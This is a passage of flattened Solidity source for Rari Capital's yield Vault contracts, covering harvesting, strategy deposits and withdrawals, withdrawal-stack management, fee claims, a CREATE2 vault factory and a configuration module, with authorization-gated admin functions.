// Cannot underflow as locked profit can't exceed total strategy holdings.
totalUnderlyingHeld = totalStrategyHoldings - lockedProfit();
}
// Include our floating balance in the total.
totalUnderlyingHeld += totalFloat();
}
/// @notice Calculates the current amount of locked profit.
/// @return The current amount of locked profit.
function lockedProfit() public view returns (uint256) {
// Get the last harvest and harvest delay.
uint256 previousHarvest = lastHarvest;
uint256 harvestInterval = harvestDelay;
unchecked {
// If the harvest delay has passed, there is no locked profit.
// Cannot overflow on human timescales since harvestInterval is capped.
if (block.timestamp >= previousHarvest + harvestInterval) return 0;
// Get the maximum amount we could return.
uint256 maximumLockedProfit = maxLockedProfit;
// Compute how much profit remains locked based on the last harvest and harvest delay.
// It's impossible for the previous harvest to be in the future, so this will never underflow.
return maximumLockedProfit - (maximumLockedProfit * (block.timestamp - previousHarvest)) / harvestInterval;
}
}
/// @notice Returns the amount of underlying tokens that idly sit in the Vault.
/// @return The amount of underlying tokens that sit idly in the Vault.
function totalFloat() public view returns (uint256) {
return UNDERLYING.balanceOf(address(this));
}
/* //////////////////////////////////////////////////////////////
HARVEST LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted after a successful harvest.
/// @param user The authorized user who triggered the harvest.
/// @param strategies The trusted strategies that were harvested.
event Harvest(address indexed user, Strategy[] strategies);
/// @notice Harvest a set of trusted strategies.
/// @param strategies The trusted strategies to harvest.
/// @dev Will always revert if called outside of an active
/// harvest window or before the harvest delay has passed.
function harvest(Strategy[] calldata strategies) external requiresAuth {
// If this is the first harvest after the last window:
if (block.timestamp >= lastHarvest + harvestDelay) {
// Set the harvest window's start timestamp.
// Cannot overflow 64 bits on human timescales.
lastHarvestWindowStart = uint64(block.timestamp);
} else {
// We know this harvest is not the first in the window so we need to ensure it's within it.
require(block.timestamp <= lastHarvestWindowStart + harvestWindow, "BAD_HARVEST_TIME");
}
// Get the Vault's current total strategy holdings.
uint256 oldTotalStrategyHoldings = totalStrategyHoldings;
// Used to store the total profit accrued by the strategies.
uint256 totalProfitAccrued;
// Used to store the new total strategy holdings after harvesting.
uint256 newTotalStrategyHoldings = oldTotalStrategyHoldings;
// Will revert if any of the specified strategies are untrusted.
for (uint256 i = 0; i < strategies.length; i++) {
// Get the strategy at the current index.
Strategy strategy = strategies[i];
// If an untrusted strategy could be harvested a malicious user could use
// a fake strategy that over-reports holdings to manipulate the exchange rate.
require(getStrategyData[strategy].trusted, "UNTRUSTED_STRATEGY");
// Get the strategy's previous and current balance.
uint256 balanceLastHarvest = getStrategyData[strategy].balance;
uint256 balanceThisHarvest = strategy.balanceOfUnderlying(address(this));
// Update the strategy's stored balance. Cast overflow is unrealistic.
getStrategyData[strategy].balance = balanceThisHarvest.safeCastTo248();
// Increase/decrease newTotalStrategyHoldings based on the profit/loss registered.
// We cannot wrap the subtraction in parenthesis as it would underflow if the strategy had a loss.
newTotalStrategyHoldings = newTotalStrategyHoldings + balanceThisHarvest - balanceLastHarvest;
unchecked {
// Update the total profit accrued while counting losses as zero profit.
// Cannot overflow as we already increased total holdings without reverting.
totalProfitAccrued += balanceThisHarvest > balanceLastHarvest
? balanceThisHarvest - balanceLastHarvest // Profits since last harvest.
: 0; // If the strategy registered a net loss we don't have any new profit.
}
}
// Compute fees as the fee percent multiplied by the profit.
uint256 feesAccrued = totalProfitAccrued.fmul(feePercent, 1e18);
// If we accrued any fees, mint an equivalent amount of avTokens.
// Authorized users can claim the newly minted avTokens via claimFees.
_mint(address(this), feesAccrued.fdiv(exchangeRate(), BASE_UNIT));
// Update max unlocked profit based on any remaining locked profit plus new profit.
maxLockedProfit = (lockedProfit() + totalProfitAccrued - feesAccrued).safeCastTo128();
// Set strategy holdings to our new total.
totalStrategyHoldings = newTotalStrategyHoldings;
// Update the last harvest timestamp.
// Cannot overflow on human timescales.
lastHarvest = uint64(block.timestamp);
emit Harvest(msg.sender, strategies);
// Get the next harvest delay.
uint64 newHarvestDelay = nextHarvestDelay;
// If the next harvest delay is not 0:
if (newHarvestDelay != 0) {
// Update the harvest delay.
harvestDelay = newHarvestDelay;
// Reset the next harvest delay.
nextHarvestDelay = 0;
emit HarvestDelayUpdated(msg.sender, newHarvestDelay);
}
}
/* //////////////////////////////////////////////////////////////
STRATEGY DEPOSIT/WITHDRAWAL LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted after the Vault deposits into a strategy contract.
/// @param user The authorized user who triggered the deposit.
/// @param strategy The strategy that was deposited into.
/// @param underlyingAmount The amount of underlying tokens that were deposited.
event StrategyDeposit(address indexed user, Strategy indexed strategy, uint256 underlyingAmount);
/// @notice Emitted after the Vault withdraws funds from a strategy contract.
/// @param user The authorized user who triggered the withdrawal.
/// @param strategy The strategy that was withdrawn from.
/// @param underlyingAmount The amount of underlying tokens that were withdrawn.
event StrategyWithdrawal(address indexed user, Strategy indexed strategy, uint256 underlyingAmount);
/// @notice Deposit a specific amount of float into a trusted strategy.
/// @param strategy The trusted strategy to deposit into.
/// @param underlyingAmount The amount of underlying tokens in float to deposit.
function depositIntoStrategy(Strategy strategy, uint256 underlyingAmount) external requiresAuth {
// A strategy must be trusted before it can be deposited into.
require(getStrategyData[strategy].trusted, "UNTRUSTED_STRATEGY");
// Increase totalStrategyHoldings to account for the deposit.
totalStrategyHoldings += underlyingAmount;
unchecked {
// Without this the next harvest would count the deposit as profit.
// Cannot overflow as the balance of one strategy can't exceed the sum of all.
getStrategyData[strategy].balance += underlyingAmount.safeCastTo248();
}
emit StrategyDeposit(msg.sender, strategy, underlyingAmount);
// We need to deposit differently if the strategy takes ETH.
if (strategy.isCEther()) {
// Unwrap the right amount of WETH.
WETH(payable(address(UNDERLYING))).withdraw(underlyingAmount);
// Deposit into the strategy and assume it will revert on error.
ETHStrategy(address(strategy)).mint{value: underlyingAmount}();
} else {
// Approve underlyingAmount to the strategy so we can deposit.
UNDERLYING.safeApprove(address(strategy), underlyingAmount);
// Deposit into the strategy and revert if it returns an error code.
require(ERC20Strategy(address(strategy)).mint(underlyingAmount) == 0, "MINT_FAILED");
}
}
/// @notice Withdraw a specific amount of underlying tokens from a strategy.
/// @param strategy The strategy to withdraw from.
/// @param underlyingAmount The amount of underlying tokens to withdraw.
/// @dev Withdrawing from a strategy will not remove it from the withdrawal stack.
function withdrawFromStrategy(Strategy strategy, uint256 underlyingAmount) external requiresAuth {
// A strategy must be trusted before it can be withdrawn from.
require(getStrategyData[strategy].trusted, "UNTRUSTED_STRATEGY");
// Without this the next harvest would count the withdrawal as a loss.
getStrategyData[strategy].balance -= underlyingAmount.safeCastTo248();
unchecked {
// Decrease totalStrategyHoldings to account for the withdrawal.
// Cannot underflow as the balance of one strategy will never exceed the sum of all.
totalStrategyHoldings -= underlyingAmount;
}
emit StrategyWithdrawal(msg.sender, strategy, underlyingAmount);
// Withdraw from the strategy and revert if it returns an error code.
require(strategy.redeemUnderlying(underlyingAmount) == 0, "REDEEM_FAILED");
// Wrap the withdrawn Ether into WETH if necessary.
if (strategy.isCEther()) WETH(payable(address(UNDERLYING))).deposit{value: underlyingAmount}();
}
/* //////////////////////////////////////////////////////////////
STRATEGY TRUST/DISTRUST LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted when a strategy is set to trusted.
/// @param user The authorized user who trusted the strategy.
/// @param strategy The strategy that became trusted.
event StrategyTrusted(address indexed user, Strategy indexed strategy);
/// @notice Emitted when a strategy is set to untrusted.
/// @param user The authorized user who untrusted the strategy.
/// @param strategy The strategy that became untrusted.
event StrategyDistrusted(address indexed user, Strategy indexed strategy);
/// @notice Stores a strategy as trusted, enabling it to be harvested.
/// @param strategy The strategy to make trusted.
function trustStrategy(Strategy strategy) external requiresAuth {
// Ensure the strategy accepts the correct underlying token.
// If the strategy accepts ETH the Vault should accept WETH, it'll handle wrapping when necessary.
require(
strategy.isCEther() ? underlyingIsWETH : ERC20Strategy(address(strategy)).underlying() == UNDERLYING,
"WRONG_UNDERLYING"
);
// Store the strategy as trusted.
getStrategyData[strategy].trusted = true;
emit StrategyTrusted(msg.sender, strategy);
}
/// @notice Stores a strategy as untrusted, disabling it from being harvested.
/// @param strategy The strategy to make untrusted.
function distrustStrategy(Strategy strategy) external requiresAuth {
// Store the strategy as untrusted.
getStrategyData[strategy].trusted = false;
emit StrategyDistrusted(msg.sender, strategy);
}
/* //////////////////////////////////////////////////////////////
WITHDRAWAL STACK LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted when a strategy is pushed to the withdrawal stack.
/// @param user The authorized user who triggered the push.
/// @param pushedStrategy The strategy pushed to the withdrawal stack.
event WithdrawalStackPushed(address indexed user, Strategy indexed pushedStrategy);
/// @notice Emitted when a strategy is popped from the withdrawal stack.
/// @param user The authorized user who triggered the pop.
/// @param poppedStrategy The strategy popped from the withdrawal stack.
event WithdrawalStackPopped(address indexed user, Strategy indexed poppedStrategy);
/// @notice Emitted when the withdrawal stack is updated.
/// @param user The authorized user who triggered the set.
/// @param replacedWithdrawalStack The new withdrawal stack.
event WithdrawalStackSet(address indexed user, Strategy[] replacedWithdrawalStack);
/// @notice Emitted when an index in the withdrawal stack is replaced.
/// @param user The authorized user who triggered the replacement.
/// @param index The index of the replaced strategy in the withdrawal stack.
/// @param replacedStrategy The strategy in the withdrawal stack that was replaced.
/// @param replacementStrategy The strategy that overrode the replaced strategy at the index.
event WithdrawalStackIndexReplaced(
address indexed user,
uint256 index,
Strategy indexed replacedStrategy,
Strategy indexed replacementStrategy
);
/// @notice Emitted when an index in the withdrawal stack is replaced with the tip.
/// @param user The authorized user who triggered the replacement.
/// @param index The index of the replaced strategy in the withdrawal stack.
/// @param replacedStrategy The strategy in the withdrawal stack replaced by the tip.
/// @param previousTipStrategy The previous tip of the stack that replaced the strategy.
event WithdrawalStackIndexReplacedWithTip(
address indexed user,
uint256 index,
Strategy indexed replacedStrategy,
Strategy indexed previousTipStrategy
);
/// @notice Emitted when the strategies at two indexes are swapped.
/// @param user The authorized user who triggered the swap.
/// @param index1 One index involved in the swap
/// @param index2 The other index involved in the swap.
/// @param newStrategy1 The strategy (previously at index2) that replaced index1.
/// @param newStrategy2 The strategy (previously at index1) that replaced index2.
event WithdrawalStackIndexesSwapped(
address indexed user,
uint256 index1,
uint256 index2,
Strategy indexed newStrategy1,
Strategy indexed newStrategy2
);
/// @dev Withdraw a specific amount of underlying tokens from strategies in the withdrawal stack.
/// @param underlyingAmount The amount of underlying tokens to pull into float.
/// @dev Automatically removes depleted strategies from the withdrawal stack.
function pullFromWithdrawalStack(uint256 underlyingAmount) internal {
// We will update this variable as we pull from strategies.
uint256 amountLeftToPull = underlyingAmount;
// We'll start at the tip of the stack and traverse backwards.
uint256 currentIndex = withdrawalStack.length - 1;
// Iterate in reverse so we pull from the stack in a "last in, first out" manner.
// Will revert due to underflow if we empty the stack before pulling the desired amount.
for (; ; currentIndex--) {
// Get the strategy at the current stack index.
Strategy strategy = withdrawalStack[currentIndex];
// Get the balance of the strategy before we withdraw from it.
uint256 strategyBalance = getStrategyData[strategy].balance;
// If the strategy is currently untrusted or was already depleted:
if (!getStrategyData[strategy].trusted || strategyBalance == 0) {
// Remove it from the stack.
withdrawalStack.pop();
emit WithdrawalStackPopped(msg.sender, strategy);
// Move onto the next strategy.
continue;
}
// We want to pull as much as we can from the strategy, but no more than we need.
uint256 amountToPull = strategyBalance > amountLeftToPull ? amountLeftToPull : strategyBalance;
unchecked {
// Compute the balance of the strategy that will remain after we withdraw.
// Cannot underflow as we cap the amount to pull at the strategy's balance.
uint256 strategyBalanceAfterWithdrawal = strategyBalance - amountToPull;
// Without this the next harvest would count the withdrawal as a loss.
getStrategyData[strategy].balance = strategyBalanceAfterWithdrawal.safeCastTo248();
// Adjust our goal based on how much we can pull from the strategy.
// Cannot underflow as we cap the amount to pull at the amount left to pull.
amountLeftToPull -= amountToPull;
emit StrategyWithdrawal(msg.sender, strategy, amountToPull);
// Withdraw from the strategy and revert if returns an error code.
require(strategy.redeemUnderlying(amountToPull) == 0, "REDEEM_FAILED");
// If we fully depleted the strategy:
if (strategyBalanceAfterWithdrawal == 0) {
// Remove it from the stack.
withdrawalStack.pop();
emit WithdrawalStackPopped(msg.sender, strategy);
}
}
// If we've pulled all we need, exit the loop.
if (amountLeftToPull == 0) break;
}
unchecked {
// Account for the withdrawals done in the loop above.
// Cannot underflow as the balances of some strategies cannot exceed the sum of all.
totalStrategyHoldings -= underlyingAmount;
}
// Cache the Vault's balance of ETH.
uint256 ethBalance = address(this).balance;
// If the Vault's underlying token is WETH compatible and we have some ETH, wrap it into WETH.
if (ethBalance != 0 && underlyingIsWETH) WETH(payable(address(UNDERLYING))).deposit{value: ethBalance}();
}
/// @notice Pushes a single strategy to front of the withdrawal stack.
/// @param strategy The strategy to be inserted at the front of the withdrawal stack.
/// @dev Strategies that are untrusted, duplicated, or have no balance are
/// filtered out when encountered at withdrawal time, not validated upfront.
function pushToWithdrawalStack(Strategy strategy) external requiresAuth {
// Ensure pushing the strategy will not cause the stack exceed its limit.
require(withdrawalStack.length < MAX_WITHDRAWAL_STACK_SIZE, "STACK_FULL");
// Push the strategy to the front of the stack.
withdrawalStack.push(strategy);
emit WithdrawalStackPushed(msg.sender, strategy);
}
/// @notice Removes the strategy at the tip of the withdrawal stack.
/// @dev Be careful, another authorized user could push a different strategy
/// than expected to the stack while a popFromWithdrawalStack transaction is pending.
function popFromWithdrawalStack() external requiresAuth {
// Get the (soon to be) popped strategy.
Strategy poppedStrategy = withdrawalStack[withdrawalStack.length - 1];
// Pop the first strategy in the stack.
withdrawalStack.pop();
emit WithdrawalStackPopped(msg.sender, poppedStrategy);
}
/// @notice Sets a new withdrawal stack.
/// @param newStack The new withdrawal stack.
/// @dev Strategies that are untrusted, duplicated, or have no balance are
/// filtered out when encountered at withdrawal time, not validated upfront.
function setWithdrawalStack(Strategy[] calldata newStack) external requiresAuth {
// Ensure the new stack is not larger than the maximum stack size.
require(newStack.length <= MAX_WITHDRAWAL_STACK_SIZE, "STACK_TOO_BIG");
// Replace the withdrawal stack.
withdrawalStack = newStack;
emit WithdrawalStackSet(msg.sender, newStack);
}
/// @notice Replaces an index in the withdrawal stack with another strategy.
/// @param index The index in the stack to replace.
/// @param replacementStrategy The strategy to override the index with.
/// @dev Strategies that are untrusted, duplicated, or have no balance are
/// filtered out when encountered at withdrawal time, not validated upfront.
function replaceWithdrawalStackIndex(uint256 index, Strategy replacementStrategy) external requiresAuth {
// Get the (soon to be) replaced strategy.
Strategy replacedStrategy = withdrawalStack[index];
// Update the index with the replacement strategy.
withdrawalStack[index] = replacementStrategy;
emit WithdrawalStackIndexReplaced(msg.sender, index, replacedStrategy, replacementStrategy);
}
/// @notice Moves the strategy at the tip of the stack to the specified index and pop the tip off the stack.
/// @param index The index of the strategy in the withdrawal stack to replace with the tip.
function replaceWithdrawalStackIndexWithTip(uint256 index) external requiresAuth {
// Get the (soon to be) previous tip and strategy we will replace at the index.
Strategy previousTipStrategy = withdrawalStack[withdrawalStack.length - 1];
Strategy replacedStrategy = withdrawalStack[index];
// Replace the index specified with the tip of the stack.
withdrawalStack[index] = previousTipStrategy;
// Remove the now duplicated tip from the array.
withdrawalStack.pop();
emit WithdrawalStackIndexReplacedWithTip(msg.sender, index, replacedStrategy, previousTipStrategy);
}
/// @notice Swaps two indexes in the withdrawal stack.
/// @param index1 One index involved in the swap
/// @param index2 The other index involved in the swap.
function swapWithdrawalStackIndexes(uint256 index1, uint256 index2) external requiresAuth {
// Get the (soon to be) new strategies at each index.
Strategy newStrategy2 = withdrawalStack[index1];
Strategy newStrategy1 = withdrawalStack[index2];
// Swap the strategies at both indexes.
withdrawalStack[index1] = newStrategy1;
withdrawalStack[index2] = newStrategy2;
emit WithdrawalStackIndexesSwapped(msg.sender, index1, index2, newStrategy1, newStrategy2);
}
/* //////////////////////////////////////////////////////////////
SEIZE STRATEGY LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted after a strategy is seized.
/// @param user The authorized user who triggered the seize.
/// @param strategy The strategy that was seized.
event StrategySeized(address indexed user, Strategy indexed strategy);
/// @notice Seizes a strategy.
/// @param strategy The strategy to seize.
/// @dev Intended for use in emergencies or other extraneous situations where the
/// strategy requires interaction outside of the Vault's standard operating procedures.
function seizeStrategy(Strategy strategy) external requiresAuth {
// Get the strategy's last reported balance of underlying tokens.
uint256 strategyBalance = getStrategyData[strategy].balance;
// If the strategy's balance exceeds the Vault's current
// holdings, instantly unlock any remaining locked profit.
if (strategyBalance > totalHoldings()) maxLockedProfit = 0;
// Set the strategy's balance to 0.
getStrategyData[strategy].balance = 0;
unchecked {
// Decrease totalStrategyHoldings to account for the seize.
// Cannot underflow as the balance of one strategy will never exceed the sum of all.
totalStrategyHoldings -= strategyBalance;
}
emit StrategySeized(msg.sender, strategy);
// Transfer all of the strategy's tokens to the caller.
ERC20(strategy).safeTransfer(msg.sender, strategy.balanceOf(address(this)));
}
/* //////////////////////////////////////////////////////////////
FEE CLAIM LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted after fees are claimed.
/// @param user The authorized user who claimed the fees.
/// @param avTokenAmount The amount of avTokens that were claimed.
event FeesClaimed(address indexed user, uint256 avTokenAmount);
/// @notice Claims fees accrued from harvests.
/// @param avTokenAmount The amount of avTokens to claim.
/// @dev Accrued fees are measured as avTokens held by the Vault.
function claimFees(uint256 avTokenAmount) external requiresAuth {
emit FeesClaimed(msg.sender, avTokenAmount);
// Transfer the provided amount of avTokens to the caller.
ERC20(this).safeTransfer(msg.sender, avTokenAmount);
}
/* //////////////////////////////////////////////////////////////
INITIALIZATION AND DESTRUCTION LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted when the Vault is initialized.
/// @param user The authorized user who triggered the initialization.
event Initialized(address indexed user);
/// @notice Whether the Vault has been initialized yet.
/// @dev Can go from false to true, never from true to false.
bool public isInitialized;
/// @notice Initializes the Vault, enabling it to receive deposits.
/// @dev All critical parameters must already be set before calling.
function initialize() external requiresAuth {
// Ensure the Vault has not already been initialized.
require(!isInitialized, "ALREADY_INITIALIZED");
// Mark the Vault as initialized.
isInitialized = true;
// Open for deposits.
totalSupply = 0;
emit Initialized(msg.sender);
}
/// @notice Self destructs a Vault, enabling it to be redeployed.
/// @dev Caller will receive any ETH held as float in the Vault.
function destroy() external requiresAuth {
selfdestruct(payable(msg.sender));
}
/* //////////////////////////////////////////////////////////////
RECIEVE ETHER LOGIC
///////////////////////////////////////////////////////////// */
/// @dev Required for the Vault to receive unwrapped ETH.
receive() external payable {}
}
// File @rari-capital/solmate/src/utils/[email protected]
pragma solidity >=0.8.0;
/// @notice Library for converting between addresses and bytes32 values.
/// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/Bytes32AddressLib.sol)
library Bytes32AddressLib {
function fromLast20Bytes(bytes32 bytesValue) internal pure returns (address) {
return address(uint160(uint256(bytesValue)));
}
function fillLast12Bytes(address addressValue) internal pure returns (bytes32) {
return bytes32(bytes20(addressValue));
}
}
// File srcBuild/VaultFactory.sol
pragma solidity ^0.8.11;
/// @title Rari Vault Factory
/// @author Transmissions11 and JetJadeja
/// @notice Factory which enables deploying a Vault for any ERC20 token.
contract VaultFactory is Auth {
using Bytes32AddressLib for address;
using Bytes32AddressLib for bytes32;
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
///////////////////////////////////////////////////////////// */
/// @notice Creates a Vault factory.
/// @param _owner The owner of the factory.
/// @param _authority The Authority of the factory.
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/* //////////////////////////////////////////////////////////////
VAULT DEPLOYMENT LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Emitted when a new Vault is deployed.
/// @param vault The newly deployed Vault contract.
/// @param underlying The underlying token the new Vault accepts.
event VaultDeployed(Vault vault, ERC20 underlying);
/// @notice Deploys a new Vault which supports a specific underlying token.
/// @dev This will revert if a Vault that accepts the same underlying token has already been deployed.
/// @param underlying The ERC20 token that the Vault should accept.
/// @return vault The newly deployed Vault contract which accepts the provided underlying token.
function deployVault(ERC20 underlying) external returns (Vault vault) {
// Use the CREATE2 opcode to deploy a new Vault contract.
// This will revert if a Vault which accepts this underlying token has already
// been deployed, as the salt would be the same and we can't deploy with it twice.
vault = new Vault{salt: address(underlying).fillLast12Bytes()}(underlying);
emit VaultDeployed(vault, underlying);
}
/* //////////////////////////////////////////////////////////////
VAULT LOOKUP LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Computes a Vault's address from its accepted underlying token.
/// @param underlying The ERC20 token that the Vault should accept.
/// @return The address of a Vault which accepts the provided underlying token.
/// @dev The Vault returned may not be deployed yet. Use isVaultDeployed to check.
function getVaultFromUnderlying(ERC20 underlying) external view returns (Vault) {
return
Vault(
payable(
keccak256(
abi.encodePacked(
// Prefix:
bytes1(0xFF),
// Creator:
address(this),
// Salt:
address(underlying).fillLast12Bytes(),
// Bytecode hash:
keccak256(
abi.encodePacked(
// Deployment bytecode:
type(Vault).creationCode,
// Constructor arguments:
abi.encode(underlying)
)
)
)
).fromLast20Bytes() // Convert the CREATE2 hash into an address.
)
);
}
/// @notice Returns if a Vault at an address has already been deployed.
/// @param vault The address of a Vault which may not have been deployed yet.
/// @return A boolean indicating whether the Vault has been deployed already.
/// @dev This function is useful to check the return values of getVaultFromUnderlying,
/// as it does not check that the Vault addresses it computes have been deployed yet.
function isVaultDeployed(Vault vault) external view returns (bool) {
return address(vault).code.length > 0;
}
}
// File srcBuild/modules/VaultConfigurationModule.sol
pragma solidity ^0.8.11;
/// @title Rari Vault Configuration Module
/// @author Transmissions11 and JetJadeja
/// @notice Module for configuring Vault parameters.
contract VaultConfigurationModule is Auth {
/* //////////////////////////////////////////////////////////////
CONSTRUCTOR
///////////////////////////////////////////////////////////// */
/// @notice Creates a Vault configuration module.
/// @param _owner The owner of the module.
/// @param _authority The Authority of the module.
constructor(address _owner, Authority _authority) Auth(_owner, _authority) {}
/* //////////////////////////////////////////////////////////////
DEFAULT VAULT PARAMETER CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice Emitted when the default fee percentage is updated.
/// @param newDefaultFeePercent The new default fee percentage.
event DefaultFeePercentUpdated(uint256 newDefaultFeePercent);
/// @notice Emitted when the default harvest delay is updated.
/// @param newDefaultHarvestDelay The new default harvest delay.
event DefaultHarvestDelayUpdated(uint64 newDefaultHarvestDelay);
/// @notice Emitted when the default harvest window is updated.
/// @param newDefaultHarvestWindow The new default harvest window.
event DefaultHarvestWindowUpdated(uint128 newDefaultHarvestWindow);
/// @notice Emitted when the default target float percentage is updated.
/// @param newDefaultTargetFloatPercent The new default target float percentage.
event DefaultTargetFloatPercentUpdated(uint256 newDefaultTargetFloatPercent);
/// @notice The default fee percentage for Vaults.
/// @dev See the documentation for the feePercentage
/// variable in the Vault contract for more details.
uint256 public defaultFeePercent;
/// @notice The default harvest delay for Vaults.
/// @dev See the documentation for the harvestDelay
/// variable in the Vault contract for more details.
uint64 public defaultHarvestDelay;
/// @notice The default harvest window for Vaults.
/// @dev See the documentation for the harvestWindow
/// variable in the Vault contract for more details.
uint128 public defaultHarvestWindow;
/// @notice The default target float percentage for Vaults.
/// @dev See the documentation for the targetFloatPercent
/// variable in the Vault contract for more details.
uint256 public defaultTargetFloatPercent;
/// @notice Sets the default fee percentage for Vaults.
/// @param newDefaultFeePercent The new default fee percentage to set.
function setDefaultFeePercent(uint256 newDefaultFeePercent) external requiresAuth {
// Update the default fee percentage.
defaultFeePercent = newDefaultFeePercent;
emit DefaultFeePercentUpdated(newDefaultFeePercent);
}
/// @notice Sets the default harvest delay for Vaults.
/// @param newDefaultHarvestDelay The new default harvest delay to set.
function setDefaultHarvestDelay(uint64 newDefaultHarvestDelay) external requiresAuth {
// Update the default harvest delay.
defaultHarvestDelay = newDefaultHarvestDelay;
emit DefaultHarvestDelayUpdated(newDefaultHarvestDelay);
}
/// @notice Sets the default harvest window for Vaults.
/// @param newDefaultHarvestWindow The new default harvest window to set.
function setDefaultHarvestWindow(uint128 newDefaultHarvestWindow) external requiresAuth {
// Update the default harvest window.
defaultHarvestWindow = newDefaultHarvestWindow;
emit DefaultHarvestWindowUpdated(newDefaultHarvestWindow);
}
/// @notice Sets the default target float percentage for Vaults.
/// @param newDefaultTargetFloatPercent The new default target float percentage to set.
function setDefaultTargetFloatPercent(uint256 newDefaultTargetFloatPercent) external requiresAuth {
// Update the default target float percentage.
defaultTargetFloatPercent = newDefaultTargetFloatPercent;
emit DefaultTargetFloatPercentUpdated(newDefaultTargetFloatPercent);
}
/* //////////////////////////////////////////////////////////////
CUSTOM VAULT PARAMETER CONFIGURATION
///////////////////////////////////////////////////////////// */
/// @notice Emitted when a Vault has its custom fee percentage set/updated.
/// @param vault The Vault that had its custom fee percentage set/updated.
/// @param newCustomFeePercent The new custom fee percentage for the Vault.
event CustomFeePercentUpdated(Vault indexed vault, uint256 newCustomFeePercent);
/// @notice Emitted when a Vault has its custom harvest delay set/updated.
/// @param vault The Vault that had its custom harvest delay set/updated.
/// @param newCustomHarvestDelay The new custom harvest delay for the Vault.
event CustomHarvestDelayUpdated(Vault indexed vault, uint256 newCustomHarvestDelay);
/// @notice Emitted when a Vault has its custom harvest window set/updated.
/// @param vault The Vault that had its custom harvest window set/updated.
/// @param newCustomHarvestWindow The new custom harvest window for the Vault.
event CustomHarvestWindowUpdated(Vault indexed vault, uint256 newCustomHarvestWindow);
/// @notice Emitted when a Vault has its custom target float percentage set/updated.
/// @param vault The Vault that had its custom target float percentage set/updated.
/// @param newCustomTargetFloatPercent The new custom target float percentage for the Vault.
event CustomTargetFloatPercentUpdated(Vault indexed vault, uint256 newCustomTargetFloatPercent);
/// @notice Maps Vaults to their custom fee percentage.
/// @dev Will be 0 if there is no custom fee percentage for the Vault.
/// @dev See the documentation for the targetFloatPercent variable in the Vault contract for more details.
mapping(Vault => uint256) public getVaultCustomFeePercent;
/// @notice Maps Vaults to their custom harvest delay.
/// @dev Will be 0 if there is no custom harvest delay for the Vault.
/// @dev See the documentation for the harvestDelay variable in the Vault contract for more details.
mapping(Vault => uint64) public getVaultCustomHarvestDelay;
/// @notice Maps Vaults to their custom harvest window.
/// @dev Will be 0 if there is no custom harvest window for the Vault.
/// @dev See the documentation for the harvestWindow variable in the Vault contract for more details.
mapping(Vault => uint128) public getVaultCustomHarvestWindow;
/// @notice Maps Vaults to their custom target float percentage.
/// @dev Will be 0 if there is no custom target float percentage for the Vault.
/// @dev See the documentation for the targetFloatPercent variable in the Vault contract for more details.
mapping(Vault => uint256) public getVaultCustomTargetFloatPercent;
/// @notice Sets the custom fee percentage for the Vault.
/// @param vault The Vault to set the custom fee percentage for.
/// @param customFeePercent The new custom fee percentage to set.
function setVaultCustomFeePercent(Vault vault, uint256 customFeePercent) external requiresAuth {
// Update the Vault's custom fee percentage.
getVaultCustomFeePercent[vault] = customFeePercent;
emit CustomFeePercentUpdated(vault, customFeePercent);
}
/// @notice Sets the custom harvest delay for the Vault.
/// @param vault The Vault to set the custom harvest delay for.
/// @param customHarvestDelay The new custom harvest delay to set.
function setVaultCustomHarvestDelay(Vault vault, uint64 customHarvestDelay) external requiresAuth {
// Update the Vault's custom harvest delay.
getVaultCustomHarvestDelay[vault] = customHarvestDelay;
emit CustomHarvestDelayUpdated(vault, customHarvestDelay);
}
/// @notice Sets the custom harvest window for the Vault.
/// @param vault The Vault to set the custom harvest window for.
/// @param customHarvestWindow The new custom harvest window to set.
function setVaultCustomHarvestWindow(Vault vault, uint128 customHarvestWindow) external requiresAuth {
// Update the Vault's custom harvest window.
getVaultCustomHarvestWindow[vault] = customHarvestWindow;
emit CustomHarvestWindowUpdated(vault, customHarvestWindow);
}
/// @notice Sets the custom target float percentage for the Vault.
/// @param vault The Vault to set the custom target float percentage for.
/// @param customTargetFloatPercent The new custom target float percentage to set.
function setVaultCustomTargetFloatPercent(Vault vault, uint256 customTargetFloatPercent) external requiresAuth {
// Update the Vault's custom target float percentage.
getVaultCustomTargetFloatPercent[vault] = customTargetFloatPercent;
emit CustomTargetFloatPercentUpdated(vault, customTargetFloatPercent);
}
/* //////////////////////////////////////////////////////////////
VAULT PARAMETER SYNC LOGIC
///////////////////////////////////////////////////////////// */
/// @notice Syncs a Vault's fee percentage with either the Vault's custom fee
/// percentage or the default fee percentage if a custom percentage is not set.
/// @param vault The Vault to sync the fee percentage for.
function syncFeePercent(Vault vault) external {
// Get the Vault's custom fee percentage.
uint256 customFeePercent = getVaultCustomFeePercent[vault];
// Determine what the new fee percentage should be for the Vault after the sync.
uint256 newFeePercent = customFeePercent == 0 ? defaultFeePercent : customFeePercent;
// Prevent spamming as this function requires no authorization.
require(vault.feePercent() != newFeePercent, "ALREADY_SYNCED");
// Set the Vault's fee percentage to the custom fee percentage
// or the default fee percentage if a custom percentage isn't set.
vault.setFeePercent(newFeePercent);
}
/// @notice Syncs a Vault's harvest delay with either the Vault's custom
/// harvest delay or the default harvest delay if a custom delay is not set.
/// @param vault The Vault to sync the harvest delay for.
function syncHarvestDelay(Vault vault) external {
// Get the Vault's custom harvest delay.
uint64 customHarvestDelay = getVaultCustomHarvestDelay[vault];
// Determine what the new harvest delay should be for the Vault after the sync.
uint64 newHarvestDelay = customHarvestDelay == 0 ? defaultHarvestDelay : customHarvestDelay;
// Prevent spamming as this function requires no authorization.
require(vault.harvestDelay() != newHarvestDelay, "ALREADY_SYNCED");
// Set the Vault's harvest delay to the custom harvest delay
// or the default harvest delay if a custom delay isn't set.
vault.setHarvestDelay(newHarvestDelay);
}
/// @notice Syncs a Vault's harvest window with either the Vault's custom
/// harvest window or the default harvest window if a custom window is not set.
/// @param vault The Vault to sync the harvest window for.
function syncHarvestWindow(Vault vault) external {
// Get the Vault's custom harvest window.
